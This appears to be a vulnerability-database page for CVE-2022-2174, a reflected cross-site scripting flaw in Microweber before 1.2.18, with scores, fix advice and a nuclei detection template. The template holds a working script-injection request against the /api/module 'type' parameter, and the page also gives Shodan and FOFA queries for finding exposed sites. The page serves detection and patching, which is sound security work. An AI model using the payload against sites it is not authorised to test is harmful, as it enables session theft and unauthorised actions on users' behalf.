HexBrain

Browse / CVEs / CVE-2022-2174

CVE-2022-2174· microweber / microweber· CWE-79

microweber 1.2.18 - Cross-site Scripting

mediumseverity
6.1CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.18.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing user session cookies or performing unauthorized actions on behalf of users.

Fix

Upgrade to Microweber version 1.2.18 or later.

How to confirm it

Send: GET {{BaseURL}}/api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test
Positive when: status_code == 500 and contains(body, "<script>alert(document.domain)</script>") && contains(body, "microweber") and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2022-2174 -u <target>

The full check
id: CVE-2022-2174

info:
  name: microweber 1.2.18 - Cross-site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.18.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing user session cookies or performing unauthorized actions on behalf of users.
  remediation: |
    Upgrade to Microweber version 1.2.18 or later.
  reference:
    - https://huntr.dev/bounties/ac68e3fc-8cf1-4a62-90ee-95c4b2bad607/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2174
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-2174
    - https://www.tenable.com/cve/CVE-2022-2174
    - https://github.com/microweber/microweber/commit/c51285f791e48e536111cd57a9544ccbf7f33961
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2174
    cwe-id: CWE-79
    epss-score: 0.02636
    epss-percentile: 0.85683
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,huntr,microweber,xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(body, "microweber")'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from